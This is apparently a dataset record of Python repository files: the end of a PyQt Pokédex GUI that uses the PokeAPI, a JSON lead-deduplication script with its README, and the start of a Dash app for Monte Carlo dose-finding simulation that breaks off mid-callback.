self.moves_title.setObjectName(\"moves_title\")\n self.move1 = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n self.move1.setGeometry(QtCore.QRect(120, 20, 120, 20))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.move1.setFont(font)\n self.move1.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.move1.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.move1.setObjectName(\"move1\")\n self.level_title = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n self.level_title.setGeometry(QtCore.QRect(0, 0, 120, 20))\n font = QtGui.QFont()\n font.setPointSize(12)\n self.level_title.setFont(font)\n self.level_title.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\\n\"\n\"border-radius:6px\")\n self.level_title.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.level_title.setObjectName(\"level_title\")\n self.level_move1 = QtWidgets.QLabel(self.scrollAreaWidgetContents)\n self.level_move1.setGeometry(QtCore.QRect(0, 20, 120, 20))\n font = QtGui.QFont()\n font.setPointSize(10)\n self.level_move1.setFont(font)\n self.level_move1.setStyleSheet(\"background-color: rgb(255, 255, 255);\\n\"\n\"color: rgb(0, 0, 0);\")\n self.level_move1.setAlignment(QtCore.Qt.AlignmentFlag.AlignCenter)\n self.level_move1.setObjectName(\"level_move1\")\n self.scrollmoves.setWidget(self.scrollAreaWidgetContents)\n self.scrollmoves.raise_()\n self.pokedex_pokemon.raise_()\n self.stats_widget.raise_()\n self.evolution_line_widget.raise_()\n self.pokemon_type2.raise_()\n self.pokemon_type1.raise_()\n self.sprite_pokemon.raise_()\n self.abilities_widget.raise_()\n self.description_widget.raise_()\n self.background.raise_()\n self.pokemon_logo.raise_()\n DiniDex.setCentralWidget(self.centralwidget)\n\n QtCore.QMetaObject.connectSlotsByName(DiniDex)\n DiniDex.update()\n\n\n def showAll(self):\n\n self.pokedex_pokemon.show()\n self.scrollmoves.show()\n\n\n def updatePokemon(self, DiniDex, Pokemon):\n self.retranslateFixedUi(DiniDex, Pokemon)\n self.setStyleSheetResources(DiniDex, Pokemon)\n self.setStatsFontColor()\n self.updateStatsColor(Pokemon.base_stats)\n self.updateStatsBar(DiniDex, Pokemon)\n self.showAll()\n\n \n def retranslateFixedUi(self, DiniDex, Pokemon):\n _translate = QtCore.QCoreApplication.translate\n self.evo_detail_1_2.setText(_translate(\"DiniDex\", \"Level 16\")) #ARRUMAR API EVOLUTION\n self.evo_detail_2_3.setText(_translate(\"DiniDex\", \"Level 32\")) #ARRUMAR API EVOLUTION\n self.label_hp.setText(_translate(\"DiniDex\", \"Hp\"))\n self.label_hp.setText(_translate(\"DiniDex\", \"Hp\"))\n self.label_attack.setText(_translate(\"DiniDex\", \"Attack\"))\n self.label_defense.setText(_translate(\"DiniDex\", \"Defense\"))\n self.label_spattack.setText(_translate(\"DiniDex\", \"Sp. Attack\"))\n self.label_spdefense.setText(_translate(\"DiniDex\", \"Sp. Defense\"))\n self.label_speed.setText(_translate(\"DiniDex\", \"Speed\"))\n self.label_hp_stat.setText(_translate(\"DiniDex\", \"{}\".format(Pokemon.base_stats[0])))\n self.label_attack_stat.setText(_translate(\"DiniDex\", \"{}\".format(Pokemon.base_stats[1])))\n self.label_defense_stat.setText(_translate(\"DiniDex\", \"{}\".format(Pokemon.base_stats[2])))\n self.label_spattack_stat.setText(_translate(\"DiniDex\", \"{}\".format(Pokemon.base_stats[3])))\n self.label_spdefense_stat.setText(_translate(\"DiniDex\", \"{}\".format(Pokemon.base_stats[4])))\n self.label_speed_stat.setText(_translate(\"DiniDex\", \"{}\".format(Pokemon.base_stats[5])))\n self.abilities_title.setText(_translate(\"DiniDex\", \"Abilities\"))\n self.nability_title.setText(_translate(\"DiniDex\", \"Normal Abilities\"))\n self.hability_title.setText(_translate(\"DiniDex\", \"Hidden Ability\"))\n self.stats_widget.show()\n \n\n count = 0\n for ability in Pokemon.abilities:\n if (ability.is_hidden != 1):\n if count == 0:\n self.na_ability1.setText(_translate(\"DiniDex\", \"{}\".format(ability[0].replace(\"-\",\" \").title())))\n if(count == 1):\n self.na_ability2.setText(_translate(\"DiniDex\", \"{}\".format(ability[0].replace(\"-\",\" \").title())))\n if(count ==2):\n self.na_ability3.setText(_translate(\"DiniDex\", \"{}\".format(ability[0].replace(\"-\",\" \").title())))\n\n if(ability.is_hidden):\n self.ha_ability1.setText(_translate(\"DiniDex\", \"{}\".format(ability[0].replace(\"-\",\" \").title())))\n count = count + 1\n\n self.description_title.setText(_translate(\"DiniDex\", \"Description\"))\n description = Pokemon.get_descriptions('en')\n self.description_text.setText(_translate(\"DiniDex\", \"{}\".format(random.choice(list(description.values())))))\n self.name_pokemon.setText(_translate(\"DiniDex\", \"{}\".format(Pokemon.name.title())))\n self.dex_number.setText(_translate(\"DiniDex\", \"#{}\".format(Pokemon.dex)))\n self.moves_title.setText(_translate(\"DiniDex\", \"Moves\"))\n self.level_title.setText(_translate(\"DiniDex\", \"Level\"))\n self.move1.setText(_translate(\"DiniDex\", \"Tackle\"))\n self.level_move1.setText(_translate(\"DiniDex\", \"1\"))\n\n self.description_widget.show()\n self.abilities_widget.show()\n\n def setStyleSheetResources(self, Dinidex, Pokemon):\n\n self.sprite_pokemon.setStyleSheet(\"image: url(resources/sprites/{}.png);\\n\"\n\"background:transparent;\\n\"\n\"\".format(Pokemon.dex))\n\n if self.check_2_types(Pokemon):\n self.pokemon_type1.setGeometry(QtCore.QRect(5, 440, 115, 30))\n self.pokemon_type1.setStyleSheet(\"image: url(resources/pokemon_type_icon/{}_type.png);\\n\"\n\"background-color: transparent;\".format(Pokemon.types[0]))\n \n self.pokemon_type2.setStyleSheet(\"image: url(resources/pokemon_type_icon/{}_type.png);\\n\"\n\"background-color: transparent;\".format(Pokemon.types[1]))\n self.pokemon_type1.show()\n self.pokemon_type2.show()\n\n else:\n self.pokemon_type1.setGeometry(QtCore.QRect(70, 440, 115, 30))\n self.pokemon_type1.setStyleSheet(\"image: url(resources/pokemon_type_icon/{}_type.png);\\n\"\n\"background-color: transparent;\".format(Pokemon.types[0]))\n self.pokemon_type2.clear()\n self.background.show()\n self.pokemon_type1.show()\n self.pokemon_type2.setHidden(True)\n #self.pokemon_type2.show()\n\n \n self.evo1_type1.setStyleSheet(\"image: url(resources/pokemon_type_icon/grass_type.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL DO TIPO DO POKEMON\n\"background-color: transparent;\")\n self.evo1_type2.setStyleSheet(\"image: url(resources/pokemon_type_icon/poison_type.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL DO TIPO DO POKEMON\n\"background-color: transparent;\")\n self.evolution1_sprite.setStyleSheet(\"image: url(resources/sprites/1.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL DA SPRITE COM NUMERO DA DEX.\n\"\")\n self.evolution2_sprite.setStyleSheet(\"image: url(resources/sprites/2.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL DA SPRITE COM NUMERO DA DEX.\n\"background:transparent;\\n\"\n\"\")\n self.evolution3_sprite.setStyleSheet(\"image: url(resources/sprites/3.png);\\n\"\n\"background:transparent;\\n\"\n\"\")\n self.evo2_type2_2.setStyleSheet(\"image: url(resources/pokemon_type_icon/grass_type.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL COM O TYPE1_TYPE \n\"background-color: transparent;\")\n self.evo2_type2.setStyleSheet(\"image: url(resources/pokemon_type_icon/poison_type.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL COM O TYPE1_TYPE DO POKEMON\n\"background-color: transparent;\")\n self.evo3_type1.setStyleSheet(\"image: url(resources/pokemon_type_icon/grass_type.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL COM O TYPE1_TYPE DO POKEMON\n\"background-color: transparent;\")\n self.evo3_type2.setStyleSheet(\"image: url(resources/pokemon_type_icon/poison_type.png);\\n\" #MUDAR AQUI PARA UMA VARIAVEL COM O TYPE1_TYPE DO POKEMON\n\"background-color: transparent;\")\n self.arrow_evo_1_2.setStyleSheet(\"image: url(resources/arrow/default_right_arrow.png);\\n\"\n\"background-color: transparent;\")\n self.arrow_evo_2_3.setStyleSheet(\"image: url(resources/arrow/default_right_arrow.png);\\n\"\n\"background-color: transparent;\")\n\n self.sprite_pokemon.show()\n\n\n def check_2_types(self, pokemon):\n if len(pokemon.types) > 1:\n return True\n else:\n return False\n\n def setStatsFontColor(self):\n self.label_hp.setStyleSheet(\"color:rgb(0,0,0);\")\n self.label_hp_stat.setStyleSheet(\"color:rgb(0,0,0);\")\n self.label_attack.setStyleSheet(\"color:rgb(0,0,0);\")\n self.label_attack_stat.setStyleSheet(\"color:rgb(0,0,0);\")\n self.label_defense.setStyleSheet(\"color:rgb(0,0,0);\")\n self.label_defense_stat.setStyleSheet(\"color:rgb(0,0,0);\")\n self.label_spattack.setStyleSheet(\"color:rgb(0,0,0);\")\n self.label_spattack_stat.setStyleSheet(\"color:rgb(0,0,0);\")\n self.label_spdefense.setStyleSheet(\"color:rgb(0,0,0);\")\n self.label_spdefense_stat.setStyleSheet(\"color:rgb(0,0,0);\")\n self.label_speed.setStyleSheet(\"color:rgb(0,0,0);\") \n self.label_speed_stat.setStyleSheet(\"color:rgb(0,0,0);\")\n \n return\n\n def updateStatsColor(self, stats):\n self.label_hp_bar.setStyleSheet(self.returnBackgroundRGB(stats[0]))\n self.label_attack_bar.setStyleSheet(self.returnBackgroundRGB(stats[1]))\n self.label_defense_bar.setStyleSheet(self.returnBackgroundRGB(stats[2]))\n self.label_spattack_bar.setStyleSheet(self.returnBackgroundRGB(stats[3]))\n self.label_spdefense_bar.setStyleSheet(self.returnBackgroundRGB(stats[4]))\n self.label_speed_bar.setStyleSheet(self.returnBackgroundRGB(stats[5]))\n\n self.stats_widget.show()\n\n \n \n return \n\n def returnBackgroundRGB(self, stats):\n rgb = 0\n if stats >= 200:\n rgb = \"background-color:rgb(2, 255, 255);\"\n\n if stats < 200 and stats >= 150:\n rgb = \"background-color:rgb(2,255,{});\".format(int((stats-150)*255/50))\n\n if stats < 150 and stats >= 100:\n rgb = \"background-color:rgb({},255,0);\".format(int((stats-100)*255/50))\n\n if stats < 100 and stats >= 50:\n rgb = \"background-color:rgb(255,{},0);\".format(int((stats-50)*255/50))\n\n if stats <= 50:\n rgb = \"background-color:rgb(255, 0, 0);\"\n\n return rgb+\"border-radius: 3px;\"\n \n def updateStatsBar(self,DiniDex,Pokemon):\n self.label_hp_bar.setGeometry(QtCore.QRect(140, 30, int(140*Pokemon.base_stats[0]/100), 6))\n self.label_attack_bar.setGeometry(QtCore.QRect(140, 70, int(140*Pokemon.base_stats[1]/100), 6))\n self.label_defense_bar.setGeometry(QtCore.QRect(140, 110, int(140*Pokemon.base_stats[2]/100), 6))\n self.label_spattack_bar.setGeometry(QtCore.QRect(140, 150, int(140*Pokemon.base_stats[3]/100), 6))\n self.label_spdefense_bar.setGeometry(QtCore.QRect(140, 190, int(140*Pokemon.base_stats[4]/100), 6))\n self.label_speed_bar.setGeometry(QtCore.QRect(140, 230, int(140*Pokemon.base_stats[5]/100), 6))\n self.stats_widget.show()\n\n return\n\n \n def onPressed(self):\n pokemon_search = self.search_bar.text()\n if self.first_run:\n self.setupPokemonUi(DiniDex)\n self.first_run = 0\n pokemon = self.call_pokemon(pokemon_search)\n self.updatePokemon(DiniDex, pokemon)\n\n def call_pokemon(self, input):\n try:\n input = int(input)\n pokemon = pypokedex.get(dex=input)\n except:\n pokemon = pypokedex.get(name=input)\n\n return pokemon\n\n\n\ndef get_evolution_json(id):\n\n pokemon_api = requests.get(url='https://pokeapi.co/api/v2/pokemon/{}'.format(id))\n pokemon_json = json.loads(pokemon_api.text)\n\n species_api = (pokemon_json['species'])\n name, evolution_url = species_api['name'], species_api['url']\n print(evolution_url)\n evolution_api = requests.get(evolution_url)\n evolution_json = json.loads(evolution_api.text)\n evolution_url = evolution_json['evolution_chain']['url']\n evolution_id = (evolution_url.split('/'))[-2]\n\n evolution_page = requests.get(evolution_url)\n evolution_chain = json.loads(evolution_page.text)\n\n return evolution_chain\n\n\n\ndef print_pokemon(pokemon):\n print('Dex:#{}'.format(pokemon.dex))\n print('Name:{}'.format(pokemon.name))\n print('Height:{}'.format(pokemon.height))\n print('Weight:{}'.format(pokemon.weight))\n print('Types:{}'.format(pokemon.types))\n print('Abilities:{}'.format(pokemon.abilities))\n print('Stats:{}'.format(pokemon.base_stats))\n print(list(pokemon.get_descriptions().values())[0])\n print(pokemon.moves)\n\n return\n\n\nif __name__ == \"__main__\":\n import sys\n app = QtWidgets.QApplication(sys.argv)\n DiniDex = QtWidgets.QMainWindow()\n ui = Ui_DiniDex()\n ui.setupMainWindow(DiniDex)\n # pokemon = ui.call_pokemon(2)\n # ui.setupPokemonUi(DiniDex)\n # ui.updatePokemon(DiniDex,pokemon)\n DiniDex.show()\n\n sys.exit(app.exec())\n" } ]
5
maheshmasale/dedupJSON
https://github.com/maheshmasale/dedupJSON
30278017b30fe1807f2b8645360ff5073946faa1
f11e44bc08986f4a2b5bcb3896d6b3bf907d5e6b
2257266b927df0150fa290257ccad9e30c5042d9
refs/heads/master
2021-01-18T18:00:42.941002
2017-03-08T19:48:20
2017-03-08T19:48:20
84,359,313
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6152151823043823, "alphanum_fraction": 0.6241738796234131, "avg_line_length": 42.80921173095703, "blob_id": "3256f63bf6dfece1bc2cd25708f5a07e2d5ca558", "content_id": "b79c18eab9b44cbc3edf9d42df7ff4e5be7240ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6809, "license_type": "no_license", "max_line_length": 176, "num_lines": 152, "path": "/deduplicateJSON.py", "repo_name": "maheshmasale/dedupJSON", "src_encoding": "UTF-8", "text": "import json\r\nimport time\r\nimport sys\r\nimport gc\r\n#Flag set to true for writing to to file and false to avoid setting it.\r\nwriteToFileFlag = True\r\n\r\ndef main():\r\n if len(sys.argv) != 2:\r\n print(\"python deduplicateJSON.py <path_to_data_file>\")\r\n exit(1)\r\n dataFilePath = sys.argv[1]\r\n\r\n #output.tx will be log file where I will be writing the output of my code and the changes made to the data.\r\n outputFileName = 'output.txt'\r\n trg = open(outputFileName,'w')\r\n trg.truncate()\r\n try:\r\n gc.collect()\r\n dataRead = readFromFile(dataFilePath)\r\n writeToFile(trg,\"Data read from file - \\n\"+dataRead+\"\\n\\n\")\r\n jsonRead = parseJSON(dataRead)\r\n\r\n dedupicatedData = dict()\r\n dedupicatedData[\"leads\"] = deduplicateIt(jsonRead[\"leads\"],trg)\r\n print(convertToJson(dedupicatedData))\r\n writeToFile(trg, \"\\nFinal Output after dedupication - \\n\"+convertToJson(dedupicatedData))\r\n except FileNotFoundError:\r\n #This will handle if the file is not available at given location\r\n print(\"File not found at\",dataFilePath)\r\n except json.decoder.JSONDecodeError as err:\r\n #This will handle if the data breaks any of standard JSON format rules\r\n print(\"Data given in file is not in proper JSON format!!\")\r\n print(\"Error details - {0}\".format(err))\r\n except:\r\n print(\"Unexpected error:\", sys.exc_info()[0])\r\n raise\r\n else:\r\n #If there is not exception then this block will be executed\r\n print(\"Execution complete!\")\r\n print(\"Please find output.txt file for logs!\")\r\n finally:\r\n trg.close()\r\n gc.collect()\r\n\r\ndef writeToFile(fileObj,strToWrite):\r\n #Common function to write to file, so that the file writing can be disabled.\r\n if writeToFileFlag:\r\n fileObj.write(strToWrite)\r\n\r\ndef deduplicateIt(dataArr,trg):\r\n '''\r\n This function removes duplicates from the input json data. Upon receiving duplicate data this will check which one has latest date and keep that.\r\n '''\r\n print(len(dataArr))\r\n writeToFile(trg,\"Length of original leads array - \"+str(len(dataArr))+\"\\n\\n\")\r\n dictData = {}\r\n for itr in dataArr:\r\n try:\r\n #Creating key this way will eliminate the possibilities of intersecting two different keys. Each key will be unique.\r\n key = str(len(itr[\"_id\"]))+itr[\"_id\"]+str(len(itr[\"email\"]))+itr[\"email\"]\r\n #Calling compareDates to validate dates, if dates are not valid then we are not inserting it inside.\r\n #Considering the time to be after 1st Jan. 1970. If the date is earlier then the whole logic would be required to be changed.\r\n if key not in dictData and compareDates('1970-01-01T00:00:00+00:00',itr[\"entryDate\"]):\r\n dictData[key] = itr\r\n #adding this record with this unique combination for the first time.\r\n writeToFile(trg,\"Retained record with id-\"+itr[\"_id\"]+\" and email-\"+itr[\"email\"]+\".\\n\")\r\n else:\r\n if compareDates(dictData[key][\"entryDate\"],itr[\"entryDate\"]):\r\n #If current record is latest than its pre-existing duplicate and this one is latest then we are replacing previous one with this one.\r\n #If the datetime is same then we are using the last occured record i.e. the current record. \r\n dictData[key] = itr\r\n writeToFile(trg,\"Replaces previous record with id-\"+itr[\"_id\"]+\" and email-\"+itr[\"email\"]+\", with current record. Since this one is latest.\\n\")\r\n else:\r\n #rejected this record\r\n writeToFile(trg,\"Rejected record with id-\"+itr[\"_id\"]+\" and email-\"+itr[\"email\"]+\". Since it was already present in the data and this one is not latest.\\n\")\r\n\r\n except TypeError as err:\r\n #This error will be raised if there is an error with the date string. No need of doing any thing here since we have taken care of this in its function.\r\n writeToFile(trg,\"Rejecting the record with id-\"+itr[\"_id\"]+\" and email-\"+itr[\"email\"]+\", as the date string does not have a valid format.\\n\")\r\n except KeyError as err:\r\n #This error will be raised if one of the keys is/are missing.\r\n writeToFile(trg,\"Rejecting the record as the key is missing from the data.\\n\")\r\n print(\"Key missing from the given data record - {0}\".format(err))\r\n\r\n print(len(dictData.values()))\r\n writeToFile(trg,\"\\nLength of final leads array - \"+str(len(dictData.values()))+\"\\n\\n\")\r\n return list(dictData.values())\r\n\r\ndef compareDates(dateStr1,dateStr2):\r\n '''\r\n This function will covert two strings to data type object and compare them.\r\n Timestamp is calculated to comapre two dates. This timestamp will include the gmtoffset(time zone adjustment).\r\n '''\r\n try:\r\n dateStr1 = dateStr1[:-3]+dateStr1[-2:]\r\n dateStr2 = dateStr2[:-3]+dateStr2[-2:]\r\n tm1 = time.strptime(dateStr1, \"%Y-%m-%dT%H:%M:%S%z\")\r\n tm2 = time.strptime(dateStr2, \"%Y-%m-%dT%H:%M:%S%z\")\r\n \r\n mkt1 = time.mktime(tm1) + tm1.tm_gmtoff\r\n mkt2 = time.mktime(tm2) + tm2.tm_gmtoff\r\n #print(dateStr1,\"-\", mkt1,\" ; \",dateStr2,\"-\", mkt2)\r\n\r\n if mkt1 <= mkt2:\r\n return True\r\n else:\r\n return False\r\n\r\n except (OverflowError, ValueError) as err:\r\n #This error will be raised if the input value cannot be represented as a valid time for mktime() function. The error depends on who raise it, c library or python.\r\n print(\"Cannot convert given data string to valid time!\")\r\n print(\"Error details - {0}\".format(err))\r\n raise TypeError\r\n except ValueError as err:\r\n #This error will be raised if the given date string is invalid.\r\n print(\"Given date string is not valid!!\")\r\n print(\"Error details - {0}\".format(err))\r\n raise TypeError\r\n except:\r\n print(\"Unexpected error:\", sys.exc_info()[0])\r\n raise TypeError\r\n\r\ndef parseJSON(dataStr):\r\n '''\r\n This function conerts json string to python object and returns this object.\r\n '''\r\n return json.loads(dataStr)\r\n\r\ndef readFromFile(path):\r\n '''\r\n This function reads text from file and returns it.\r\n '''\r\n with open(path) as file:\r\n data = file.read()\r\n return data\r\n\r\ndef jdefault(o):\r\n #Enables objects to be converted to json string.\r\n if isinstance(o, set):\r\n return list(o)\r\n return o.__dict__\r\n\r\ndef convertToJson(data):\r\n '''\r\n This function will convert python object to json string and returns this string.\r\n '''\r\n #return json.dumps(data, default=jdefault)\r\n return json.dumps(data, indent=2)\r\n\r\nif __name__ == \"__main__\":\r\n main()" }, { "alpha_fraction": 0.7705192565917969, "alphanum_fraction": 0.7755444049835205, "avg_line_length": 73.625, "blob_id": "bbbf5d3788bf0eac257d309bcf571626b1906c69", "content_id": "a770afe16fab058bec75e776aa8d12d1ada6ca0b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2426, "license_type": "no_license", "max_line_length": 611, "num_lines": 32, "path": "/README.md", "repo_name": "maheshmasale/dedupJSON", "src_encoding": "UTF-8", "text": "Coding Sample\n\n1. Task - Remove duplicates from the json data where combination of ‘_id’ and ‘email’ keys should be unique. The selection criteria for duplicates is based on the ‘entryDate’, the latest the better and if both the contenders have same date-time then select the one with last entry.\n\n2. Solution – The solution is to create a dictionary which will hold the records as value and key being the combination of the ‘_id’ and ‘email’. The unique combination of these two is created by appending their length at the start of the string. This way we will be storing one record per combination. Once we found out the duplicate record, we will compare their dates. The dates comparison is done through converting it to seconds and then adding the time zone difference to it. If the comparison is same or greater than the previous records then we are replacing the previous record with the current record.\n3. Validations – This code validates date string and whether the input string is valid json or not. This code also validates the keys and input file name string. \n4. Output – The code prints the output to the console. And it also maintains a log file where it logs the changes made to the data i.e. which records being kept or rejected or being replaced. This can be disable with one flag, the code supports that as well.\n5. Running time – Time complexity of the code is O(n) and space complexity of the code is also O(n).\nUsed garbage collector to free up space. (in small scale this one won’t help much but with larger data this one would surely help us)\n6. Environment – Python 3 onwards, Windows 10.\n7. Instruction for execution – Please run following command to run this file in console:\n\tPython deduplicateJSON.py leads.json\n\t#Here you can replace leads.json file name with other file name and you can also provide path to that file. \n8. Unit tests – This code is been tested for 9 different unit test cases. I have attached the unit test data and their output. The unit tests are for following cases – \n\n\ta.\tInvalid dates in first occurrence\n\t\n\tb.\tInvalid dates in second occurrence\n\t\n\tc.\tSame Dates and time and time zone\n\t\n\td.\tSame Dates and different time and same time zone\n\t\n\te.\tSame Dates, time and different time zone\n\t\n\tf.\tDifferent dates\n\t\n\tg.\tIssue with the key, improper key or key not found\n\t\n\th.\tSame id but different email\n\t\n\ti.\tSame email but different id\n" } ]
2
lanlianhuaer/MCA
https://github.com/lanlianhuaer/MCA
5216de91b81295179fb5f30a919f5e321eb53d9d
a0dc74f01fc7dbda558b06e15d27527750ddd79f
893cb755aebdfbcd943e61bffb6cd41995044dc6
refs/heads/main
2023-07-28T21:43:43.551617
2021-09-20T11:36:41
2021-09-20T11:36:41
360,233,878
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5650661587715149, "alphanum_fraction": 0.5749556422233582, "avg_line_length": 42, "blob_id": "44d651093a29bcec786eed46f3ee1c9a95da038b", "content_id": "320a1c2b4e3fa73472c8a94d6dd9abcc11e3d765", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14662, "license_type": "no_license", "max_line_length": 115, "num_lines": 341, "path": "/MCA_app.py", "repo_name": "lanlianhuaer/MCA", "src_encoding": "UTF-8", "text": "import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nimport plotly.express as px\nimport dash.dependencies as dependencies\nimport os\nimport json\nimport plotly\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\n# from mca_lib import get_simulation_samples,counts_\nexternal_stylesheets = ['https://codepen.io/chriddyp/pen/bWLwgP.css']\n# with open('./custom.geo.json', 'r') as f:\n# data = json.load(f)\napp = dash.Dash(__name__, external_stylesheets=external_stylesheets)\n\nenv_num=500\nimport numpy as np\ndef gen_env(num_doses,target_rate,env_num=1000):\n target_pos = range(num_doses)\n probs_2 = np.zeros([env_num*num_doses,num_doses],dtype='float32')\n for idx_ in range(env_num*num_doses):\n i= idx_%num_doses\n rand=[]\n for idx in range(num_doses):\n if idx<target_pos[i]:\n a=(target_rate-0.1)*np.random.rand()\n elif idx>target_pos[i]:\n a=(target_rate+0.1)+(1-target_rate-0.1)*np.random.rand()\n else:\n a=target_rate\n rand.append(a)\n rand_ = np.array(rand)\n probs_2[idx_,:] = rand_\n probs = probs_2\n probs = np.sort(probs,axis=-1)\n return probs\ndef gen_env_fig(num_doses,env,indices=None,flag=True):\n # marker_size=5\n # num_doses = 5\n titles=()\n # titles = ('Event Type '+ str(i+1) for i in range(num_doses))\n for i in range(num_doses):\n titles+=('Event '+ str(i+1),)\n if not flag:\n fig = make_subplots(rows=num_doses, cols=1,\n shared_xaxes=True,\n vertical_spacing=0.05,subplot_titles=titles)\n colors_list = plotly.colors.DEFAULT_PLOTLY_COLORS[:num_doses]\n opacity = 1 # 0.5\n marker_size = 5\n sample_num = env_num\n for row_i in range(num_doses):\n x_data_i = env[row_i::num_doses]\n # if row_i < 4:\n # sort_index = np.argsort(x_data_i[:, row_i + 1])\n # else:\n # sort_index = np.argsort(x_data_i[:, row_i - 1])\n # print(sort_index[:4])\n if row_i != 1:\n sort_index = np.argsort(x_data_i[:, 1])\n else:\n sort_index = np.argsort(x_data_i[:, 2])\n # if row_i == 0 or row_i == 1:\n # sort_index = np.argsort(x_data_i[:, 1])\n x_data_i = x_data_i[sort_index]\n for i in range(sample_num):\n data_i = x_data_i[i]\n for i_dose in range(num_doses - 1):\n fig.add_trace(\n go.Scatter(x=[data_i[i_dose], data_i[i_dose + 1], ], y=[i for j in range(2)], mode='lines',\n marker_color=colors_list[i_dose], line_width=1,\n opacity=opacity), row=row_i + 1, col=1, )\n fig.update_yaxes(title_text='Scenarios', row=row_i + 1, col=1)\n fig.update_xaxes(title_text=\"Toxicity Probabilities for Different Dose levels\",row=num_doses, col=1,)\n fig.update_layout(showlegend=False,title_text=\"Generated Random Scenarios for Monte Carlo Simulation\")\n fig.update_layout(height=800)\n # fig.update_layout(width=int(width),height=)\n return fig\n else:\n # print(indices.size())\n # indices_=indices.view(-1)\n indices_ = indices.reshape(-1)\n # indices_=list(indices_.numpy())\n indices_=list(indices_)\n print(len(indices_))\n flag=0.05*np.ones([env_num*num_doses])\n flag[indices_]=1\n fig = make_subplots(rows=num_doses, cols=1,\n shared_xaxes=True,\n vertical_spacing=0.05,subplot_titles=titles)\n colors_list = plotly.colors.DEFAULT_PLOTLY_COLORS[:num_doses]\n opacity = 1 # 0.5\n marker_size = 5\n sample_num = env_num\n for row_i in range(num_doses):\n x_data_i = env[row_i::num_doses]\n flag_i = flag[row_i::num_doses]\n if row_i != 1:\n sort_index = np.argsort(x_data_i[:, 1])\n else:\n sort_index = np.argsort(x_data_i[:, 2])\n x_data_i = x_data_i[sort_index]\n flag_i = flag_i[sort_index]\n for i in range(sample_num):\n data_i = x_data_i[i]\n flag_ii=flag_i[i]\n for i_dose in range(num_doses - 1):\n fig.add_trace(\n go.Scatter(x=[data_i[i_dose], data_i[i_dose + 1], ], y=[i for j in range(2)], mode='lines',\n marker_color=colors_list[i_dose], line_width=1,\n opacity=flag_ii,), row=row_i + 1, col=1, )\n fig.update_yaxes(title_text='Scenarios', row=row_i + 1, col=1)\n fig.update_xaxes(title_text=\"Toxicity Probabilities for Different Dose levels\", row=num_doses, col=1, )\n fig.update_layout(showlegend=False, title_text=\"Generated Random Scenarios for Monte Carlo Simulation\")\n fig.update_layout(height=800)\n return fig\ndef get_simulation_samples(num_doses,trial_num, simu_envs):\n # trial_num=torch.from_numpy(trial_num)\n # simu_envs=torch.from_numpy(simu_envs)\n for i in range(num_doses):\n probs = simu_envs[:, i]\n # print(trial_num)\n # print(probs)\n trial_num_tmp=trial_num[i]*np.ones_like(probs)\n trial_num_tmp = trial_num_tmp. astype(int)\n samples = np.random.binomial(n=trial_num_tmp,p=probs)\n # bern = Binomial(total_count=trial_num[i], probs=probs)\n # samples = bern.sample()\n samples = samples.reshape(-1,1)\n # samples = samples.view(-1, 1)\n if i == 0:\n samples_all = samples\n else:\n samples_all = np.concatenate([samples_all, samples],axis=-1)\n # samples_all = torch.cat([samples_all, samples], dim=-1)\n # samples_all=torch.from_numpy(samples_all)\n return samples_all\ndef counts_(num_doses,samples, possible_state):\n # possible_state = torch.from_numpy(possible_state)\n # counts = torch.zeros([num_doses, ])\n counts = np.zeros(([num_doses,]))\n diff = samples - possible_state[None, :]\n # np.abs()\n diff = np.abs(diff).sum(-1)\n # print(diff[:10],diff.size())\n indices = (diff == 0).nonzero()\n # print(len(indices))\n # print(indices)\n indices = indices[0]\n # print(indices)\n # dd\n # TODO:env sensitive\n for idx in indices:\n count_idx = idx % num_doses\n counts[count_idx] = counts[count_idx] + 1\n return counts,indices\n\napp.layout = html.Div(children=[\n html.H1(children='Monte Carlo Simulation for Dose-finding'),\n html.Div(\n children=[\n html.Label('Target:',style={'display': 'inline-block'}),\n dcc.Input(id='target', value='0.3',type='text',style={'display': 'inline-block'}),\n # dcc.Input(0.3,id='target'),\n html.Label('Number of dose levels:',style={'display': 'inline-block'}),\n dcc.Input(id='n_doses',value=5,type='number',min=2,style={'display': 'inline-block'}),\n # html.Button(children='Generate Monte Carlo Environments',id='gen_button'),\n # dcc.Graph(id='envs',figure=fig_),\n ],),\n html.Div([\n html.Button(\"Add a cohort of patients\", id=\"add-filter\", n_clicks=0),\n html.Label('Selected dose level for each cohort:',),\n html.Div(id='input-dose-container', children=[],),\n html.Label('Assigned patients number for each Cohort:',),\n html.Div(id='input-patients-container', children=[]),\n html.Label('Observed DLT number from each cohort:',),\n html.Div(id='input-dlt-container', children=[]),\n # html.Button(children='Show',id='show',n_clicks=0),\n html.Button(children='Run MC Simulation',id='mc',n_clicks=0),\n html.Output(id='show_info',children=''),\n dcc.Graph(id='show_fig',figure={})\n # html.Div(id='dropdown-container-output')\n ]),\n html.Div(children=[dcc.Graph(id='fig-bar',figure={}),\n dcc.Graph(id='fig-selected',figure={})\n ])\n],)\n\n# actual_trial_num = torch.zeros([num_doses, ])\n# state_test = torch.zeros([num_doses, ])\[email protected](\n dependencies.Output('input-dose-container', 'children'),\n dependencies.Output('input-patients-container', 'children'),\n dependencies.Output('input-dlt-container', 'children'),\n dependencies.Input('add-filter', 'n_clicks'),\n dependencies.State('input-dose-container', 'children'),\n dependencies.State('input-patients-container', 'children'),\n 